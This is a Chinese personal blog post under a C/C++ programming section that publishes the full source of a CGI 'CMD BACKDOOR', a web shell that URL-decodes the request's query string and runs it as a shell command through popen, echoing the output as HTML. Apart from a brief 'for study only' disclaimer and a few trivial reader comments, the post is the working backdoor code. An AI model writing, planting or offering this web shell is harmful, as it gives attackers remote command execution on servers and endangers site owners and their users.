大宇私人领地伊甸园丨宁愿做了后悔,也不要错过后悔[www.mrdayu.com]
注册

24小时联系邮箱:[email protected]

编程人生
您现在的位置: 首页 > 编程人生 > C/C++语言 > [C/C++]CGI后门

[C/C++]CGI后门

发布时间:2017/11/10 C/C++语言 开源代码 白帽子 标签cgi浏览次数:305

程序源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


#define	TITLE	"CMD BACKDOOR"      //宏定义,网页标题 
char x2c(char *what);               //声明函数 
int header();                       //声明函数 
int footer();                       //声明函数 

int main()                          //主函数 
{
    FILE *out;
    char *qs = (char *)malloc(256);
    int x = 0, i = 0, c = 0, f = 0;
    qs = getenv("QUERY_STRING");    //获得传递的字符串 
    if (qs != NULL)                 //有传递字符
    {
        for (x = 0, i = 0; qs[i]; x++, i++) 
        {
            if ((qs[x] = qs[i]) == '%') 
            {
                qs[x] = x2c(&qs[i + 1]);
                i += 2;
            }
        }
        qs[x] = '\0';
        //把‘+’换成空格 
        for (x = 0; qs[x]; x++) 
        {
            if (qs[x] == '+') 
            {
                qs[x] = ' ';
            }
        }
        header(qs);                 //显示一下 
        out = popen(qs, "r");
        if (out != NULL) 
        {
            while (c != EOF) 
            {
                c = fgetc(out);
                if (c != EOF && c != '\0') 
                {
                    //一个一个字的输入 
                    printf("%c", (char) c);
                    //一个标志变量 
                    f++;
                }
            }
            pclose(out);
        }
        if (f == 0 && strcmp(qs, "") != 0)//这里判断是否是可以执行的命令 
            printf("error! %s: command not found\n", qs);
    }
    footer();                       //显示一下 
    return(0);
}

char x2c(char *what)                //字符转换,好象是十六进制转换为字符 
{
    register char digit;
    digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
    digit *= 16;
    digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
    return (digit);
}
int header(char *qs)                //头显示 
{
    printf("Content-type: text/html\n\n");
    printf("<html>\n<head><title>%s</title></head>\n", TITLE);
    printf("<body bgcolor=\"#ffffff\">\n");
    printf("<dir>");
    printf("<ISINDEX prompt=\"CMD:> \">\n");
    printf("<br>CMD:> %s\n", qs);
    printf("<br><pre>\n");
}

int footer()                        //尾显示 
{
    printf("</pre>\n</p></p>\n</body></html>\n");
}

代码解析:

有看不懂的请留言,涉及到攻击性的代码不进行演示,此代码仅供学习交流

56.2K

您好!请登录

合作网站快捷登录:
点击取消回复

已有3评论

  • PHP光线
    PHP光线 回复

    你的站点什么程序啊?


    2017年11月16日11:25
    • 大宇丨
      大宇丨 回复

      [/给力]没听懂?


      2017年11月16日12:55
      • 1269766498
        1269766498 回复

        666


        2017年11月17日06:51

购物盒子

点击这里给我发消息点击这里给我发消息